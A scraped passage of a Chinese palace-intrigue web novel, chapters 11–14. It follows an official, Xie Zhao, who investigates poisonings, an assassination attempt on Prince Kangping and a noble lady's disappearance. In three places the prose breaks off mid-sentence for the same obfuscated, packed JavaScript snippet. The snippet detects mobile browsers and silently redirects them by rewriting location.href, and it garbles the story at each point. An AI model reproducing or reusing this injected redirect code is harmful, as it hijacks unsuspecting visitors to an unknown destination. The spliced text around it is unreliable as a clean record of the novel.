谢兆不想回答这种显而易见的问题，心念一动，问张陆：“洛迦山上今日可有事？” “正要说这个，”张陆说着上前一步，四面都瞧了瞧，确定无人在周围，这才压低了声音道：“大人，洛迦山今日不太平，康平王一早携妾室上山拜观音，遭到了刺杀！” 谢兆眉目微微一动，“可知是何人所为？” “刺杀的人属下暂时没有查明，但能确定今日与那位见面的，就是——”张陆的声音压的更低了，不细听几乎只能看见个口型，说的是“南阳侯”。 谢兆垂下眼帘。 南阳侯刘禛，封地远在青罗郡，自老南阳侯过世，孝期一满他便继承爵位，这些年都龟缩在郡中不出，什么时候竟然跟小二联系上了？ 谢兆倒茶的手一顿，对张陆道：“此事我已知晓，你继续盯着，任何风吹草动都不要放过。” 张陆领命而去。 待人走没影，谢兆起身出了卷录阁，径自往后院的茶室去，茶室原本为老尚书平日会客之用，自谢兆上任以来，老尚书时常称病告假，此处便只能闲置，后来是谢兆主动到府拜访老尚书，闲谈一番后，茶室成了谢兆素日小憩之处。 早有暗卫等在里面。 “殿下。” 谢兆免了他的礼，直截了当道：“速去洛迦山搜寻无为。” “是！” 暗卫来去无声，谢兆独自在榻上小坐一会儿，这才重新走出去。 已是未时三刻，刑部大院里逐渐恢复嘈杂，林三刀从牢房而来，看见谢兆，忙疾步到他身前，“大人，那伍德青的药效似乎是过去了。” “如何？” 林三刀眉头微皱，似十分挫败，“属下无能，没能从他口中探得什么，他痴傻倒是好了，但又像失忆了。不管属下怎么问，他都坚持说，上元夜酒楼出事，他得宋掌柜的吩咐前去报官，谁知今日睡醒就到了牢里，他还一直喊冤，说自己只是来报官，并非自首，咱们不分青红皂白关押他，是……是草菅人命！” 谢兆忽然很想笑一笑，以示自己此刻的无言。 林三刀看着谢兆脸上意味不明的神情，颇有些摸不着头脑，“大人，伍德青要怎么处理？酒楼的宋掌柜应是从丁县丞处得了消息，昨天就托人来，问咱们几时可以放人？” “让他走。” 林三刀当即领命，“是，属下这就通知宋掌柜来领人。” “等等，”谢兆叫住他，“先去叫许仵作来见我。” 踱步回到卷录阁，不多时，许仵作便到了。 许仵作四十上下，常年身着粗布衣衫，不修边幅，打扮随性，不了解的打眼看去，能朝六十往上猜。丧妻后一直未再取，一心一意同尸体打交道。 谢兆请他坐下并亲自给他倒了茶，“如何？在那两人身上可有什么别的发现？” 许仵作喝了茶润喉，闻言道：“当年跟随恩师游历四方，青州白家灭门时，师父已带着卑职在南疆生活月余，出事后确实悄悄潜进去验过——师父早年行医，后来才当起仵作，少说也得有三四十年的经验，可他仍然没验出白家究竟中的是什么毒！” 说到这许仵作停顿了下，谢兆没有出声，听他继续说：“前日大人问及此事，卑职夜里便翻出师父生前记录的所有册子，再和那两人对照，算是有了一些发现。” 谢兆点点头，耐心十足。 许仵作不紧不慢地又喝了口茶，这才道：“师父晚年记录的都是些对过往经历的一些回忆，其中有一件事着墨颇多——大人见识不俗，可听过南疆妖女蓝玉？” “茶楼里听说书先生说过几回，”谢兆想到什么，“你是说……” 许仵作立刻会意点头，接着道：“师父说，南疆之地瘴气遍布，疆内疆外截然不同，蓝玉在疆内长大，幼年时就对医毒之术展现出极佳天赋，长大之后更善毒，最有名的莫过于能让人倾家荡产的‘长辞’。” 谢兆沉吟，“听说此药霸道之处世所罕见，可究竟霸道在哪，又没有人能说明白。” “师父在册中记录，说此药当时妖女蓝玉只做出来两颗，后便销声匿迹，想来是有太多人找上门来，她为了避祸，所以不得已隐姓埋名——还有另外一种说法，说她其实练出毒药不久就死了，且就是死在了‘长辞’手里。关于蓝玉，师父并未了解全面，这也仅是他的猜测。”说到这，许仵作停下来缓气。 他说话时语气隐含颤动，一番话仿佛怎么也说不到重点，谢兆却并不催促，隐约可以猜到些他接下来要讲的，只不过，他低头小口喝茶，是想等一个确切说辞罢了。 “后来师父走到极北之地，在一边陲小镇得知了其中一颗‘长辞’的下落——买家并不神秘，甚至人人皆知，是当地一望族的族长，被杀者是其庶弟，罪名为与族长夫人通奸。偷偷验尸之后，师父将之记录下来，其中死状恰与酒楼被杀的两个有七成相似！” 谢兆抬眸，“七成？” 许仵作点头，“没错，大人，被杀那两人至今在卑职那的状态仍然像是充满生机的模样，可以说是越发弹性十足，桂花巷张家的肉包子怕是都比不过，而那庶弟死后只坚持了个把时辰，便血肉尽失，最后仅剩一张干皮，脆得一碰就碎，族长尤不解恨，下令暴尸三日，三日后的夜里，干皮尽数化为齑粉，被清早一场瓢泼大雨冲了个干净。” 正这时，外头有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443167|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来报，是放出去的探子。 许仵作已将所知差不多汇报完，见状便起身告退，“不知今日所说能否帮到大人，若大人还有别的疑惑，卑职便直接将师父的游记拿过来。” 谢兆将许仵作亲自送至门外，方才折返。 “什么事？” 探子忙道：“大人，小的奉命在逸云坊巡逻，就在一刻钟前，康平王府里那两条涿州锦鲤毫无征兆地翻了白，小的回来的时候府中已然乱了。” “他那妾室可回府了？” 探子摇头，“不曾，康平王与其妾室一早乘马车往洛迦山方向去，到此刻府中生乱，一直未归。” “好好的，鱼如何会死？” “小的一直在王府周围，未曾见过外人进入，”探子努力回想这一日来目之所及见过的人事物，确定无误，“大人，会不会是王府内部有人生乱？” 谢兆食指轻敲桌面，若有所思。 － 洛迦山上，月老庙四周守卫森严，连鸟飞过都得被打下来，生怕它们是抢了鸽子风头的新晋探子。 “找到了吗？” 王府副统领卢大生垂头跪在地上，沉声道：“殿下恕罪，王统领追击贼人不知所踪，属下……” “废物！”司空朔一茶壶扔下去，滚烫的茶水溅了卢大生一头一脸。 卢大生动也不敢动一下，头垂得更低，“属下已派更多人去寻，殿下放心！” 司空朔一连又骂了几句“废物”，卢大生险些挖坑将自己就地掩埋，直到有人匆忙禀告，这才让他松了口气，然而这口气还没完全出去，就半路呛在了胸口。 “殿下，属下在小路发现护送如姨娘的侍卫全部一刀毙命，如姨娘……不知所踪！”王府侍卫偷眼向卢大生看去，发现后者已然自身难保，便如法炮制，头垂得比副统领的还低。 有人纵马而来，门口守卫认出是府中仆人，忙上前问询，后者不知累极抑或怕极，脸色惨白，自马上翻滚而下，“殿下！殿下！” 司空朔眼底寒光迸发，怒火几乎被这一声声催命般的“殿下”彻底激发，“何事？” 家仆全身瘫软趴伏在地，声音充满颤抖，“殿下，府中池塘锦鲤不知为何全数翻白，就连……就连涿州那两条也未能幸免——如姨娘尚未回府，府中眼下……眼下……” “哗啦——”一条供人休息的木凳被蛮力劈成了两半。 就在此刻，又有人从门口跑过来，“殿下，王统领找到了，他……” 司空朔的话近乎从牙缝中挤出，“在哪？” 侍卫瑟缩一下，硬着头皮说：“统领就在门外，已经，已经僵硬了。” 那瞬间卢大生眼底不知闪过多少种情绪，是惊中有喜，还是既喜也惧，抑或惧里藏狠，连他自己都说不清。 司空朔的暴怒已不再遮掩，连串的消息让他根本没法静下心来仔细盘算，筹谋多年，如今好事在即却横生如此之多事端，最好的做法就是悄然离开继续潜藏，断不能将事情闹到明面上去，可眼下当真是赔了夫人又折兵！却教他如何咽下这口气？ 他霍然抬头，目光扫过月老庙四周，眼神愈发阴鸷可怖，“给我把这破庙里里外外地搜，掘地三尺，生死不论，必须把那伙贼人挖出来——” 12. 第 12 章 今日谢兆未在刑部耽搁，到点便早早散值，雪不知何时停的，道路湿滑，泥泞不堪，马车在路上只能慢行，到瑞太妃院子用过晚饭，谢绝了探讨明日打春宴流程的邀请，带着燕七回了临风阁。 路上，燕七低声汇报，“殿下，小茶今日已跟随荣公公去浣衣坊做事了。” 谢兆轻轻“嗯”了声。 燕七欲言又止。 过了会，谢兆说：“若心中暂时放不下，空了可过去瞧瞧。” 燕七眼光一亮，得寸进尺道：“那小的明日就去！” 谢兆虽见不得他这副不值钱的模样，却还是不忍心说重话，只是道：“我可以成人之美，就看那小丫头是否有心了。” 燕七喜不自胜，更因这句话而一扫整日阴霾。进了院子，燕七照例拐去厨房温药，谢兆则径直往书房去。 里面早有二人候着。 谢兆望向那面无血色的男人，“伤势如何了？” 男人躬身道：“殿下，属下已无碍。” 谢兆于是点头，在书桌后坐下来，也让那两人落座，“说说。” 二者中另一年长之人闻言说：“属下上洛迦山，恰逢康平王带人搜山，好在无为机灵，在那之前便已下山到了以往的落脚处。山上另外留了人，可随时探查康平王的动向。” 他口中的“无为”便是此间那面无血色的年轻人，立刻接话道：“殿下，康平王与南阳侯刘禛在极乐塔中相谈甚欢，但二人聊的却都只是些风月事，久久不到正题，之后便有一伙黑衣罩面的刺客闯入，属下本想拿住一个以探究竟，不想那波人竟都是口含剧毒的死士，刀具上皆涂有使人麻痹的毒药，且个个凶猛异常，那人在咬破剧毒之前，挥刀砍伤属下——”男人语气中隐含懊悔，“属下大意轻敌，没能完成殿下交代下来的任务，请殿下责罚！” “受罚一事，自去找藏锋领来，”谢兆食指轻敲桌面，忽而想到别的，“你被砍伤后，是如何脱困的？” 叫作“无为”的年轻男人顿了顿才说：“属下逃至落脚点，却不料里面早有人在，那人见到属下二话不说，趁着属下力竭之际将属下打晕，之后的事……”说到这，他脸上已满是后怕与悚然，“之后的事，属下不知，醒来就见康平王大肆搜山，追捕漏掉的死士。” 谢兆敲桌子的手蓦地停住，抬眸不轻不重地看了过去。 屋中下首的两人顿时如坐针毡。 年长的暗卫不由顶着压力出声道：“那处落脚点是咱们用过多次的，虽说算不上隐蔽，但自从几年前一对亡命鸳鸯吊死在那，以及私下刻意传播，就再没人往那去过了，寻常百姓都嫌晦气绕路而行，山中又禁猎，所以定然不是城中百姓或是猎户，”说到这，他偏头去问无为，“打晕你的人，可看清了？是男是女，高矮胖瘦？” “是个男子打扮，瞧着年岁不大，穿粗布青衣，”无为皱紧眉头，仔细回忆那晕过去前的最后一眼，“但是身子骨尤其单薄，像个女子，个头也比咱们城中男子普遍矮些。” 年长的又问：“若再见到，可能认得出？” 无为坚定点头，“能！” 门外传来脚步声，暗卫倏然闭嘴，随即有人敲响书房门，“殿下，药热好了，现在要喝吗？” 是燕七端了药来。 少顷，谢兆声音自内传出，“进来。” 燕七这才小心翼翼推门而入，屋中此刻只有谢兆一人。 眼见谢兆拿起碗一口气喝光，燕七连忙递上手巾，笑着说：“殿下，这是最后一副药了，太妃白天问起来，说明日要窦太医再来给您诊诊脉，调整一下方子。” 谢兆眼都未抬，“明日我不回府。” 燕七顿时傻眼，“……啊？” 谢兆笑一笑，告诉他，“别想着去刑部，我也不在那。” 燕七马上闭嘴，将到了舌尖的话又给咽了回去，十分为难地皱着脸，“殿下……” 谢兆拍了拍他的手臂，“过几日我空了再让窦太医来。” 燕七自小就跟着谢兆，所以心中明镜，他口中的“过几日”，根本就不知要过去几日，约等于无望了。 差不多戌时过六刻，书房的灯仍未灭，有人自墙边翻窗而入，轻声道：“殿下，康平王府的妾室没了。” “没了？” 暗卫声音更轻，“府兵搜到后山上，在一片荒地上发现一堆衣物，经辨认的确是其妾室今日出门所穿，但人却不见了。另外，府兵头领王纯涣中毒身亡。” “在何处发现的尸体？” “洛迦山往西，是个人迹罕至地，荒草等人高，”暗卫声音虽轻，但口齿极为清晰，“身上有一些剐蹭出的伤，但都不致命，康平王没有声张，只让那位‘阮郎中’前去查验，确认中毒无误。” 谢兆心思微动，突然想到了一种可能。 － 天已然黢黑，夜明珠的光亮柔柔地铺洒在洛迦山上，康平王司空朔仍未回府，此刻他面前的桌案摆着几件折叠整齐的衣物，衣裙上大多横七竖八着勾乱的丝线，足可见衣物的主人曾遭遇过多大磨难。 到底遇上了什么，竟让她连衣服都全脱了？ 司空朔脸色阴沉似水，倒不是因为此刻妾室如意的活不见人死不见尸，他蓦地一把掀翻桌案，衣裙在地上铺散开来，似残花败柳，柔弱无助。 “都去给我找人！找不到都不要回来见我——” 林中倏然惊出一群栖鸟，慌慌张张往四面八方飞去。 此间下首还坐着一人，面对康平王的滔天怒火，他竟丝毫不受影响，仍然自得喝着茶水。 府中所有人都叫他“阮郎中”。 阮郎中常年住在王府，身份成谜，也许只有康平王自己知道他来自哪里，到底是个什么人。 但有一点可以肯定，便是阮郎中不会看病。 “殿下不妨仔细想想，近期到底什么地方出了纰漏？”阮郎中身形单薄，脸颊凹陷，下巴上蓄着一绺山羊胡，说话时手从上捋到下，颇有泰山压顶我自不动的气势，“今日殿下所遇的刺杀，以及如姨娘与王统领相继丢命，”顿了顿，放轻声音，“还有前几日死的那一家子，他们之间究竟有何关联？” 司空朔斜眼过去，语气暗含咄咄逼人，“先生如何确定如姨娘已经死了？” 阮郎中叹息一声。 他虽在卜算一道并不精通，但简单推衍至少不会出错，那如姨娘即使活着，怕也不如一死了事。 “搜山许久，除了自己的两个人，其他别无所获，显然是幕后之人的手笔，”阮郎中斟酌词句，出声问道，“殿下不妨想想，如姨娘本身有何特殊之处，值得让人留一条命？” 司空朔理智尚存，心中大致也明了，只是如何也咽不下这口气——不知对手是谁，更不知其目的为何。 难道意在挑起他与老四司空槃之间的争斗？可他向来只做旁观者，未曾表现一丝一毫的别样心思，对手如何得知？ 如意和王纯涣在这之中又起了什么作用？这两件事间要是当真有关联，那这对手到底想干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443168|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么？如果没有关联，如果…… 司空朔突然心神一凛，又蓦地心思大乱。 他慢慢将视线落在阮郎中身上，并未回答，而是问了个略显怪异的问题，“‘那个地方’，还安稳吗？” 阮郎中闻听却并无半点异样，自信点头，一捋山羊胡，“自然。” 司空朔心中大定。 阮郎中却又摇了摇头，沉声道：“只怕殿下今日所为，先前的所有绸缪都要成了他人嫁衣。” 司空朔冷哼：“那也要看他穿不穿得下！” 临近亥时，方下令停止搜山，带人匆匆回了逸云坊。 隔天一早，宫里就来了公公传信，说雍州前段日子运了套瓷器茶具进宫，十分精致华美，陛下知道康平王一贯喜欢收集此等精致物件，加上有日子没见，特让他进宫叙话，顺便将东西拿回去。 司空朔接了口谕，又把一袋子碎银交到翎公公手里，翎公公欣喜接了，还讨了杯茶水，这才千恩万谢地回宫复命。 阮郎中随后拐进来，沉吟道：“殿下此去宫中，怕是……” “昨日之事瞒不住，也没想瞒，事已至此，便放手一搏。” － 先皇兄弟众多，最终脱颖而出并成功夺嫡，其母妃顺理成章，一路从贵妃到皇后，再到太后，直至太皇太后，寿终正寝。 瑞王府太妃司空青蓝是先皇最小且唯一的妹妹，比今上还小四岁，先太皇太后的第三个孩子。十一那年还是长公主的她于宫宴上惊鸿一瞥，爱上了文武双全的天下兵马大元帅谢玺仝，两人相差二十岁。司空青蓝自此害下相思病，跪到母亲面前诉说自己的儿女情长，彼时的先太后耐心听完，让她回去好好看书，不要瞎想。 可长公主却悄悄将谢玺仝堵在天禄阁外，鼓足勇气问他，若现在就进去求皇上赐婚，他敢不敢应。时年三十有一的大元帅面对这位还未长开便隐有倾国之貌的长公主颇为哭笑不得，以君臣之礼将两人隔开，并让她莫胡闹。 长公主气跑了。 本以为这事就此翻篇儿，未成想当长公主的侄孙儿都满地跑了，这桩婚事竟依旧没着落——她年龄虽小辈分却大，当朝上下无人敢在这事上动心思，亲哥也不行。 转眼十五年，谢玺仝正妻之位一直空悬，仅有的一位妾室也已去了快十年，留下个庶子，这些年跟着父亲在军中历练，也是个堂堂正正的人。 先皇自知大限将至，想临去前将这心病了了，便于某深夜招大元帅入天禄阁，长谈后的隔天，大元帅利索交了兵权，晋封瑞王，于两月后尚公主。 婚后大长公主从不以身份自居，对内对外都称“瑞王妃”，足可见对谢帅用情至深。 “……好景不长，先瑞王与太妃只相守十年，便匆匆追随先皇而去。” 薛府马车内，袁彦边吃点心，边闲聊一般在桌上简单画了个人物关系图，将这并不算秘密的皇家秘辛告知韵采。 韵采咂咂嘴，很是不理解，“姑娘，这些你都哪听来的？” “茶楼，”袁彦笑，“咱们在扬州的那间茶楼，我有一回过去查账，听说书先生讲的，也有许多人拿这事写话本子谋生，我便买了其中一人的印成书册售卖，当时还大赚了一笔。反正大差不差，可信度有八成。” “八成？” “婚后生活随大家如何想，大方向上应是默许相传的，多少也出不去一个圈，不然早成禁书了。” 车夫轻轻敲了敲舆车边框，两人遂停止交谈。 瑞王府到了。 13. 第 13 章 正月二十，瑞王府的打春宴，平京城几乎所有未出阁的闺秀女眷皆在受邀之列，一大早便有马车陆陆续续赶来，放下了人，又陆陆续续离开。 往日清清静静的瑞王府今日门庭若市。 街面上的泥泞已清理得差不多，连带着天也暖了不少，刺骨的春风刮了好些天，到这会却风和日丽起来。 女眷们由家中长辈带着，依次到瑞太妃跟前见礼，之后便是相互社交，年长的围在司空青蓝身边说笑，年轻的各自找到对脾气的凑做一堆，或矜持或叽叽喳喳，偌大个瑞王府，热火朝天，满是喧嚣。 甚至还有贵女脱掉外袍，鼻尖亦有薄汗渗出。 “冷了这许多天，总算是看见晴天了。” “是啊，还记得往年这时候早就能脱掉冬衣，连雪都不再下了，”接话的是礼部下属司邓员外郎的夫人蔡氏，开口时瞥了眼园中正和人说话的小女儿，笑盈盈的，“阮姐儿真是越发漂亮了啊！” 郭夫人笑笑，目光悄悄瞥向瑞太妃司空青蓝，话却是在回应蔡氏，摇头叹息：“女大不中留咯！” 其他心中亦有这般烦恼的夫人，于是也都跟着附和起来。说了一会，再将话题转回到刑部侍郎谢兆的身上。 瑞太妃的耳朵听着身边夫人们的恭维，目光却时常偏离，看向那颗老榕树下与婢女独坐一处的姑娘。 方才她被薛夫人带过来见礼，大大方方，礼数周全。 薛尚书多年前走失了嫡长女一事并非秘闻，司空青蓝在府中深居简出，却也耳闻一二，去年听说嫡长女竟真给找回来了，被他这份不懈心性感动，她虽不能亲至，却也让人挑选了贺礼送过去。 府上去年也张罗过打春宴，帖子送到薛府，来的却是薛夫人妫氏和嫡次女薛渠，薛渠去年方九岁，整个人都还没长开，过来也不过是混个熟脸而已。 是以前几日送去的帖子她特意交代，要明确加上尚书府嫡长女的闺名。 另一边的妫氏带着薛渠穿梭在各处官眷之间，十岁稚童，强颜欢笑。不一会两人又来到这边，再次与瑞太妃和各家夫人们见了礼。 笑容满面，言语殷勤，目的昭然若揭。 司空青蓝于是又将目光落到了袁彦身上。 “姑娘，瑞太妃一直在看你。”韵采端着一碟子各式各样的小点心，放在袁彦面前，“这几样都好吃，我已经提前尝过了！” 袁彦顺手拿起一块，就着茶水吃下一口，笑着说：“确实好吃。” 并未回应第一句话。 韵采便不再提，转而轻声道：“薛夫人这心思差不多都写脸上了，真想不明白，堂堂尚书府千金嫡女，相貌心性都不错，为何偏要做这种低声下气讨好人的事？那二小姐的脸都快绿成苦瓜了，这些高门贵女们私下不知要如何编排她。” 袁彦专心吃着小点心，偶尔喝茶，视线略往上，停在老榕树粗壮的枝干上，思绪神游天边，并未细听身旁人的轻言细语。 回过神来时，恰与瑞太妃的视线轻轻一撞，后者露出慈祥笑容，袁彦呼吸微滞，很快以礼回应。 不多时厨房传话过来，说餐食已经备好，请各位去后花园的宽阔地方入座。 袁彦带着韵采走在最后，好巧不巧，走在前面的，居然是岳阳侯的掌上明珠郭瑜。 这位侯府千金情绪不甚高涨，比不得前头那些目光中都带着雀跃的贵女们，一旁的丫鬟大气不敢出，低着头随在身侧，用了十分的小心。 不知是受了什么刺激，袁彦边走边在心中默默想着，难道是那天在庙门外碰壁的缘故？ 郭瑜突然没来由止步，袁彦却脚步未停，一脚直接踩上她的绣鞋。 就见前面的人先是身形一顿，而后愤而转身，怒视过来。 袁彦比她高了将近一个头，垂眼看着她，几息后方后知后觉，撤开半步，歉意一笑。 郭瑜二话不说，扬手用力朝着袁彦的脸扇了过去！ － 天蒙蒙亮，谢兆便乘坐马车，领着张陆往洛迦山而去。 自从老瑞王过世，瑞太妃司空青蓝逢初一十五都会雷打不动地前往普渡寺烧香抄经，捐些香火钱，顺便在寺中用一次斋饭。谢兆偶尔陪同，听住持讲经。 二人出城后便将马车换成两匹快马，一路畅通无阻到达庙门。 僧人们还在做早课，谢兆并未进去打扰，而是径直绕过寺庙院墙，往西山去。 直至到了暗卫所说之处，地上尚存未被清理的血迹，旁边另有几处荒草上也沾有已然变黑的血，一些不知是爬行还是拖拽的痕迹早被破坏，脚步凌乱，很多无关人来过，所以眼下并不能多看出什么来。 张陆看着那大片大片的骇人血迹，“大人，看来昨日山上十分凶险啊！” “嗯。” 谢兆突然勒马调转方向，往东奔去。 张陆连忙也跟着转向，只是心中直犯嘀咕：大人这是在找什么呢？ 再次来到寺庙附近，僧人早课已结束，谢兆却还是没有进去的意思，而是下马，往寺庙后面走。 张陆想了一路，觉得自己应该想明白了，于是赶上去小声问道：“大人，咱们要插手康平王府的事？”据他所知，昨天在这里发生的事，并未有人前去衙署报官，更别刑部了，既然没有人提，自然是不愿将事情闹大。 谢兆无话，目光在不远处的山坡上停住，昨日暗卫汇报中，说那妾室的衣物就是在那栋荒芜亭子附近发现的。 他沉默着拾阶而上。 行亭建的有些年头，后来此处开始大量种树，僧人进山全都选择绕路而行，还另搭了几处供人落脚休息之所，久而久之，这被树木掩映的地方就闲置下来，只有春冬季节才能看到亭子全貌。 此是初春时节，枯枝堪堪长出新芽，地上杂草枯黄，被胡乱踩踏砍劈过后变得东倒西歪，已经看不出原样了。 张陆跟着谢兆一同走上凉亭，还想问点什么，但抬头望着谢兆的背影，张了张嘴，最终将话咽下。 大人心情似乎不佳，暂时先不去触霉头。 从此处向下望，是普渡寺的后院，厨房与柴房所在，两地距离不远，负重过来应不是难事。 关键是…… 谢兆揉起眉心，心中有些惶然。 是她吗？ 可当年几乎是所有参与者都亲眼所见，那个小姑娘了无生气，被人用板车拉到了皇帝面前。而那桩惨案也于彼时彼刻盖棺定论——定国公府没有活口，人畜皆化灰。 若当初就有人胆敢李代桃僵呢？侥幸活下来，此刻的她又该以何种身份留在平京城？如果想站稳脚跟且有所动作，就必定要有个极其方便、掣肘少的后台，他望向绵延起伏的山峦，脑中迅速将几大望族过了一遍，最终不知有意无意，将视线落在一处。 去年初终于被找到的嫡长女。 一个幼年便就走失的人，不提中间那些年的遭罪吃苦，只说一个无依无靠的小女孩，当真能在多年后毫发无损地寻回？ 与康平王府有关的事，两次都有她的身影。 巧合一说略显牵强，有意为之却又想当然。 谢兆不想拿着答案填补过程。将思绪归零，既然无法确认，那就去找更多佐证来支撑。 他始终没有进入普渡寺，否则若一路行至后院，便会看见墙角处不起眼的角落，堆放着不少瓦罐碎片，都是昨日混乱之时不小心打碎的，僧人将其全部收起堆放。 之中就有一些残羹冷炙，粘稠如胶，小片银耳嵌在其中，若能交给许仵作勘验，必定会得到个柳暗花明的结果。 下山回到刑部，就有探子等在厅中，是张陆走前临时派过去的，不然薛府的动静一般都是他在盯。 见到谢兆忙小跑过来，“大人，薛家千金一大早乘车出门，往您……往瑞王府去了，想来是去参加打春宴的。” 脑海中再次闪过那张醉醺醺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443169|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的慵懒面容，谢兆点点头，“嗯”了声表示知道，今日城中大半的官眷应都去了瑞王府，薛尚书家的千金自然也不会例外。 张陆给手下使了个眼色，探子瞬间会意，躬身告退。 “大人，”张陆上前两步，离谢兆更近些，声音随之压低，“那位薛千金两次出现在案发现场，实在令人怀疑。” 谢兆随手拿起一册新送来的卷宗，是去年扬州官员贪墨一案，经过将近大半年的审理才终于有了结果，如今就等着他这边批阅。 然而耳边听着他的话，眼睛一目十行，到头来却是连头一句说了什么都给忘了，没好气道：“证据？” 张陆抿起唇，显然只想到了第一步。 “凭空猜测，照你这么断，整个北梁都不会有什么疑案悬案了，看谁可疑直接安上罪名好了！” 张陆垂头丧气，“属下明白了。” “姜家这几日有什么动静？”谢兆视线仍在跟那册卷宗较劲，一心二用。 张陆赶紧回道：“大人，姜家与四殿下的关系在明面上摆着，出了那种事，四殿下第一时间便派人去了姜极府上，至于都说了什么，四殿下十分谨慎，暗中带了好些人，属下的人便没有妄动，只能在外头守着。隔天有位自称风水师父的男人上门，说受人所托，给过世的人寻个风水宝地。” 仍然没将卷宗内容看进去，似乎思绪也总是莫名飘远，张陆不明所以，于是应对起来更加小心谨慎。 他想起一事，“对了大人，昨日您回府之后，户部主事姜安过来坐了一会，临走时提了一嘴，问他岳父母及妻兄的遗体何时能归还，说是已经找好墓地，就等着入土为安了。属下应付几句将他打发走，但依属下看，咱们若再不把遗体交出去，恐怕下次来的应该就是四殿下本人了。” 卷宗最终还是被轻轻合上，谢兆一手支着下巴，一手端起只剩余温的茶小啜一口，而后说道：“谁来也没用。” 还有就是，他想看看，要坚持多久，才会有所变化。 张陆最是知道侍郎大人的说一不二，且也有这个能力，眼下如同吃下一颗定心丸，“大人英明！” 谢兆瞥了他一眼，突然问道：“什么时辰了？” “申时二刻，大人，可是有别的事要吩咐？” 谢兆站起身，径自向外走，示意要跟上的张陆停步，“我回府。” 张陆都傻了，他们这位大人自打上任以来准点散职的次数都屈指可数，哪天不是府上来人催促数遍才能将人接上马车，今日是太阳打西边出来了，竟然这么早就走？ 上车后，谢兆想了想，让车夫往帘子旁悬挂一枚玉佩，行至半路，便有暗卫悄然跃上马车，探手一抓，将玉佩收进袖中，再钻入车内。 “殿下。”暗卫抱拳。 “走一趟南疆，查一下当年薛尚书任职时与袁家的关系如何。还有，十年前覆灭的永州嬴氏，是否尚有幸存，过去这些年间一切蛛丝马迹都不可放过。” 暗卫领命离去。 天气回暖，谢兆的咳嗽没那么严重，持续多日的风寒也已痊愈，但大概是凌晨的山风过于阴凉霸道，他此时此刻坐在瑞王府的马车中，却又开始目眩并且心绪不宁。 马车晃晃悠悠，他也跟着来回摇摆。 黑灯瞎火的夜里，那么冷，浑身上下没一处不是在颤抖，衣衫被湖水浸透，有些地方已经结了薄薄一层冰霜，连头发也是，脸上说不清是泪还是水，总之也隐隐泛着白。视线望向更深的夜，急切地惶惶然在寻找着什么，然后像是确定了什么，不顾一切大步朝着一个方向跑去。 谢兆则在旁观，见状也跟着过去。 停下时，视线所及之处，黑洞洞的，几道虚影憧憧。 突然一道视线倏地望过来，谢兆同时心神一凛。 “阿彦——” “殿下，到了。” 马车缓慢停稳，谢兆睁开眼睛，一颗心重击胸腔。 14. 第 14 章 门房看见谢兆马车，压着心中惊讶，赶忙抱着马凳跑过去端正放好，笑着说：“殿下今天这么早就回了？” 谢兆下了车，望了眼门内，状似无意问道：“客人还没走？” “没呢，”门房殷切回答，“吴管家方才过来说，宴席应该会持续到酉时。” 谢兆抬步往里面走。 瑞王府在平京城算得上是数一数二大的府邸，就算招待如今日这样多的人，也宽敞得绰绰有余，人在前院走，后院的声音丁点都传不过来。但谢兆脚步还是刻意放慢，不知是怕被人听见，还是在遮掩别的什么。 他依然有些恍惚，因为车中那个不知什么寓意的梦，过速跳动的心仍不见缓和。 燕七正在临风阁外的空地上练拳，空中回旋时目光四下一扫，恰好看见十几步外的谢兆，他惊得差点松气摔下去，落地滚了三圈才堪堪稳住，起身往那边跑。 “殿下，今日这么早回来！” 快到临风阁，谢兆脚步迈得就大了起来，看了燕七一眼，问他：“家中今日人多，你怎么不去帮忙？” 燕七摸了摸脸上那道自额头裂向下巴处的狰狞疤痕，“殿下，小的也想去来着，半路见着吴管家，他便拦着我，说府上来的皆是女眷，怕冲撞了她们，后厨也不教小的去，怕小的毛手毛脚，帮不上忙反倒添乱。”他说着小跑去开门，又问道，“殿下等会还走吗？” “走哪去？” 燕七愣了愣，忽然福至心灵，挥手让守在门边的小厮关好门，自己则快步跟上谢兆，笑眯眯地小声问：“殿下可是特意回来吃打春宴的？” 谢兆没理他。 燕七像是知道了什么了不得的大秘密，手“啪”地捂住嘴巴，眼底全是笑。 再出来时，谢兆身上换了套湖蓝色的云纹圆领袍，外罩玄色大氅，头上的簪子也从木制换了根羊脂玉的。具体说不上来，就是有种整个人焕然一新的感觉。 燕七见此，更觉自己的推测有理，于是眼底笑意更浓。 谢兆见他幸灾乐祸成这样，便出声问道：“不是说今日去浣衣坊？” 